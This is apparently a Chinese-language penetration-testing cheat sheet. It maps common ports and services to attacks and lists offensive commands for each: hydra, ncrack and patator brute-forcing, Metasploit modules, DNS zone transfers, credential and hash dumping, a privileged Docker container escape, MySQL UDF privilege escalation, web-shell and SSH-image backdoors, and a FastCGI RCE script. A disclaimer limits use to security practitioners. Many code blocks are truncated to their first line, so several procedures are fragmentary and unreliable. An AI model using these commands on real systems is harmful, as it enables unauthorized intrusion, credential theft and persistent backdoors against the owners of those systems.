服务渗透指北
本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途…
端口渗透表
端口 | 服务 | 漏洞/渗透 |
---|---|---|
21 | ftp/vsftpd文件传输协议 | 爆破/嗅探/文件上传/后门 |
22 | ssh远程连接 | 爆破/代理转发 |
23 | Telnet远程连接 | 爆破/嗅探 |
25 | SMTP邮件服务 | 邮件伪造 |
53 | DNS域名解析系统 | DNS区域传输/劫持/ 隧道 |
67/68 | dhcp服务 | 劫持/欺骗 |
69 | tftp(简单文件传输协议) | 尝试下载目标重要配置文件 |
110 | pop3 | 爆破/嗅探 |
137/139/445 | SMB(NETBIOS协议) | 爆破/未授权访问/远程代码执行 |
143 | IMAP(邮件访问协议) | 爆破 |
161 | SNMP(简单网络管理协议) | 爆破/搜集目标内网信息 |
389 | LDAP(轻量目录访问协议 ) | 注入/未授权访问/弱口令/匿名访问 |
512/513/514 | Linux Rexec服务 | 爆破/Rlogin登陆 |
873 | Rsync服务 | 文件上传/匿名访问 |
1080 | socket | 爆破/内网渗透 |
1098/1099 | JAVA RMI | 反序列化远程命令执行漏洞 |
1194 | openvpn | 获取vpn账号,进内网 |
1352 | Lotus domino邮件服务 | 爆破/弱口令/信息泄漏 |
1433 | mssql | 爆破/注入攻击/提权/sa弱口令 |
1500 | ispmanager主机控制面板 | 弱口令 |
1521-1529 | Oracle | 注入攻击/TNS爆破/弹shell |
1723 | PPTP(点对点隧道协议 ) | 爆破/获取vpn账号,进内网 |
2049 | NFS服务 | 配置不当 |
2082,2083 | cPanel主机管理面板登录 | 弱口令 |
2181 | zookeeper服务 | 未授权访问 |
2375-2376 | Docker Remote API | 未授权访问 |
2601,2604 | zebra路由 | 默认密码zerbra |
3128 | squid代理服务 | 弱口令 |
3306 | MySQL | 爆破/注入/拒绝服务/提权 |
3389 | RDP远程桌面连接 | 爆破/shift后门/ms12-020 |
3690 | svn服务 | svn泄露/未授权访问 |
4848 | GlassFish控制台 | 爆破/认证绕过 |
5000 | Docker Redistry | 未授权访问 |
5432 | PostgreSQL | 爆破/注入/缓冲区溢出 |
5306 | Kibana | 未授权访问 |
5900,5901,5902 | vnc | 弱口令爆破 |
5984 | CouchDB | 未授权访问导致任意指令执行 |
6379 | Redis数据库 | 未授权访问/远程命令执行 |
6443 | Kubernetes API Server | 未授权访问 |
7001/7002 | WebLogic | java反序列化/控制台弱口令/控制台上传webshell/SSRF |
80-89,443 | http/https | web应用漏洞/OpenSSL心脏滴血 |
8000 | JDWP | 远程命令执行漏洞 |
8009 | AJP | 远程代码执行 |
8069 | Zabbix服务 | 远程命令执行/注入 |
8080-8089 | Jboss/Tomcat/Jenkins/Resin/Jetty | 控制台弱口令/反序列化/RCE |
8083/8086 | InfluxDB | 未授权访问 |
8161 | ActiveMQ | 弱口令/任意文件写入/反序列化 |
9000 | FastCGI | 远程命令执行 |
9080-9081,9090 | Websphere控制台 | java反序列化/弱口令 |
9200/9300 | ElasticSearch | 未授权访问/远程代码执行 |
11211 | Memcached | 未授权访问 |
15672 | RabbitMQ | 弱口令 |
27017/27018 | MongoDB | 未授权访问/爆破 |
50000 | SAP | 远程代码执行 |
50030,50060,50070,50075,50090 | Hadoop | 默认端口未授权访问 |
21-FTP
Banner 抓取
1 | nc -vn <IP> 21 |
匿名登录
1 | ftp <IP> |
文件下载
1 | wget -m ftp://anonymous:[email protected] #Donwload all |
浏览器连接
1 | ftp://anonymous:[email protected] |
渗透方式
1 | 1) nmap ftp |
暴力破解
1 | hydra -l root -P passwords.txt [-t 32] <IP> ftp |
refer:
- https://book.hacktricks.xyz/pentesting/pentesting-ftp
- https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
22-SSH/SFTP
Banner抓取
1 | nc -vn <IP> 22 |
认证方式
1 | ssh -v ip -p port |
公钥收集
1 | ssh-keyscan -t rsa <IP> -p <PORT> |
Nmap 渗透
1 | nmap -p22 <ip> -sC # 使用默认脚本 |
Msf 渗透
1 | msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit' |
暴力破解
1 | msf> use scanner/ssh/ssh_enumusers |
refer:
- https://community.turgensec.com/ssh-hacking-guide/
- https://book.hacktricks.xyz/pentesting/pentesting-ssh
- https://github.com/arthepsy/ssh-audit
23-Telnet
Banner抓取
1 | nc -vn <IP> 23 |
渗透攻击
1 | nmap -n -sV -Pn --script "*telnet*" -p 23 {IP} |
暴力破解
1 | hydra -l root -P passwords.txt [-t 32] <IP> telnet |
refer:
53-DNS
Banner抓取
1 | dig version.bind CHAOS TXT @DNS |
域传送
1 | dig axfr @<DNS_IP> # 尝试无域名的域传送 |
Dig 利用
1 | dig ANY @<DNS_IP> <DOMAIN> #Any information |
DNS反向爆破
1 | dnsrecon -r 127.0.0.0/24 -n <IP_DNS> #DNS reverse of all of the addresses |
子域名爆破
1 | dnsrecon -D subdomains-1000.txt -d <DOMAIN> -n <IP_DNS> |
渗透攻击
1 | nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" {IP} |
refer:
69-TFTP
服务枚举
1 | nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP> |
下载上传
1 | msf5> auxiliary/admin/tftp/tftp_transfer_util |
389/636-LDAP
服务指纹
1 | 389(ldap) and 636(ldaps) |
服务枚举
1 | nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials |
数据写入
1 | >>> import ldap3 |
信息转储
1 | pip3 install ldapdomaindump |
暴力破解
1 | nmap --script ldap-brute -p 389 <IP> |
凭证攫取
1 | 1)检查空凭证或凭证是否有效 |
refer:
- https://github.com/BeyondTrust/pbis-open/
- https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
- https://book.hacktricks.xyz/pentesting/pentesting-ldap
512-514: Rexec/Rlogin/Rsh
指纹特征
1 | 1) Rexec: 允许在主机内执行命令 |
常用命令
1 | rlogin <IP> -l <username> |
暴力破解
1 | hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V |
873-Rsync
Banner抓取
1 | nc -vn <IP> 873 |
服务枚举
1 | nmap -sV --script "rsync-list-modules" -p <PORT> <IP> |
暴力破解
1 | nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP> |
攻击利用
1 | 1)列举分享模块 |
1080-Socks
认证检查
1 | nmap -p 1080 <ip> --script socks-auth-info |
暴力破解
1 | nmap --script socks-brute -p 1080 <ip> |
端口转发
1 | vim /etc/proxychains4.conf |
refer: https://book.hacktricks.xyz/tunneling-and-port-forwarding
1098-1099: Java RMI
服务指纹
1 | Default port: 1090,1098,1099,1199,4443-4446,8999-9010,9999 |
攻击利用
1 | 1)服务枚举 |
refer:
- https://github.com/qtc-de/remote-method-guesser
- https://github.com/NickstaDB/BaRMIe
- https://github.com/BishopFox/rmiscout
- https://book.hacktricks.xyz/pentesting/1099-pentesting-java-rmi
- https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
1433-MSSQL
信息收集
1 | nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP> |
Meatsploit
1 | #Set USERNAME, RHOSTS and PASSWORD |
暴力破解
1 | #Use the NetBIOS name of the machine as domain |
refer:
1521-1529: Oracle TNS
服务指纹
1 | 1521/tcp open oracle-tns Oracle TNS Listener |
版本枚举
1 | nmap --script "oracle-tns-version" -p 1521 -T4 -sV <IP> |
SID枚举
1 | tnscmd10g status-p 1521 -h <IP> #The SID are inside: SERVICE=(SERVICE_NAME=<SID_NAME>) |
SID爆破
1 | hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 <IP> oracle-sid |
暴力破解
1 | patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 |
登录连接
1 | sqlplus <username>/<password>@<ip_address>/<SID>; |
自动扫描
1 | 1)oscanner |
代码执行
1 | 安装ODAT |
refer:
2049-NFS
指纹/配置
1 | 2049/tcp open nfs 2-3 (RPC #100003 |
服务枚举
1 | nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 {IP} |
挂载利用
1 | showmount -e <IP> #列举可挂载文件夹 |
NFSShell
- https://github.com/NetDirect/nfsshell
- https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/
权限提升
2375-2376: Docker
服务枚举
1 | 1)使用curl |
攻击利用
1 | 1) 快速提权 |
容器逃逸
1 | docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine |
refer:
- https://book.hacktricks.xyz/pentesting/2375-pentesting-docker
- https://securityboulevard.com/2019/02/abusing-docker-api-socket/
- https://book.hacktricks.xyz/pentesting/2375-pentesting-docker#basic-commands
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py
- https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket
3128-Squid
服务指纹
1 | PORT STATE SERVICE VERSION |
Web代理
1 | # Try yo proxify curl |
Nmap代理
1 | proxichains.conf file: http 10.10.10.10 3128 |
3306-Mysql
连接
1 | 1)本地连接 |
服务枚举
1 | nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP> |
暴力破解
1 | # hydra |
命令执行
1 | show databases; |
权限提升
1 | 1)Current Level of access |
UDF提权
1 | # locate lib_mysqludf_sys.so |
凭证获取
1 | SELECT User,Host,Password FROM mysql.user; |
自动化
1 | nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306 |
refer:
- https://github.com/carlospolop/legion
- https://book.hacktricks.xyz/pentesting/pentesting-mysql
- https://github.com/allyshka/Rogue-MySql-Server
3389-RDP
服务指纹
1 | PORT STATE SERVICE |
登录连接
1 | rdesktop -u <username> <IP> |
暴力破解
1 | ncrack -vv --user <User> -P pwds.txt rdp://<IP> |
服务枚举
1 | nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP> |
会话窃取
1 | 1)获取打开的会话 |
refer:
- https://book.hacktricks.xyz/pentesting/pentesting-rdp
- https://github.com/JoelGMSec/AutoRDPwn
- https://github.com/linuz/Sticky-Keys-Slayer
3690-svn
服务信息
1 | PORT STATE SERVICE |
Banner抓取
1 | nc -vn {host} 3690 |
服务枚举
1 | svn ls svn://10.10.10.203 #list |
5000-Docker Registry
服务枚举
1 | #List repositories |
Docker枚举
1 | #Once you know which images the server is saving (/v2/_catalog) you can pull them |
暴力破解
1 | hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ |
Web后门
1 | 1)创建后门:shell.php |
SSH镜像后门
1 | 1) 如果通过Docker Registry发现SSH镜像,可设置后门 |
refer:
- https://book.hacktricks.xyz/pentesting/5000-pentesting-docker-registry
- https://github.com/Syzik/DockerRegistryGrabber
5432-5433: Postgresql
服务指纹
1 | PORT STATE SERVICE |
连接命令
1 | psql -U <myuser> # Open psql console with user |
服务枚举
1 | msf> use auxiliary/scanner/postgres/postgres_version |
暴力破解
1 | hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres |
攻击利用
1 | msf> use auxiliary/scanner/postgres/postgres_hashdump |
refer:
5800/5801/5900/5901-VNC
服务枚举
1 | nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP> |
暴力破解
1 | hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc |
VNC连接
1 | vncviewer [-passwd passwd.txt] <IP>::5901 |
VNC解密
1 | 默认密码存储位置: ~/.vnc/passwd |
refer:
5984/6984-CouchDB
自动枚举
1 | nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP> |
手工枚举
1 | 1)Banner获取 |
暴力破解
1 | msf> use auxiliary/scanner/couchdb/couchdb_login |
refer:
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
- https://book.hacktricks.xyz/pentesting/5984-pentesting-couchdb
8009-AJP
服务指纹
1 | PORT STATE SERVICE |
服务枚举
1 | nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP> |
暴力破解
1 | nmap --script ajp-brute -p 8009 <IP> |
8086-InfluxDB
认证枚举
1 | 1)无认证 |
常用命令
1 | > show databases |
9000-FastCGI
RCE
1 | #!/bin/bash |
refer:
- https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
- https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi
9200/9300: Elasticsearch
认证验证
1 | curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" #无认证 |
暴力破解
1 | hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / |
用户枚举
1 | #List all roles on the system: |
refer:
11211-Memcache
服务枚举
1 | echo "version" | nc -vn -w 1 <IP> 11211 #Get version |
工具枚举
1 | sudo apt install libmemcached-tools |
自动化
1 | nmap -n -sV --script memcached-info -p 11211 <IP> #Just gather info |
15672-RabbitMQ Management
启动插件
1 | rabbitmq-plugins enable rabbitmq_management |
暴力破解
1 | hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V |
API使用
1 | 1)API信息 |
refer: https://book.hacktricks.xyz/pentesting/15672-pentesting-rabbitmq-management
27017/27018: MongoDB
自动枚举
1 | nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mongo enumerate scripts are used |
手动枚举
1 | from pymongo import MongoClient |
连接登录
1 | mongo <HOST> |
暴力破解
1 | nmap -sV --script mongodb-brute -n -p 27017 <IP> |
refer: https://book.hacktricks.xyz/pentesting/27017-27018-mongodb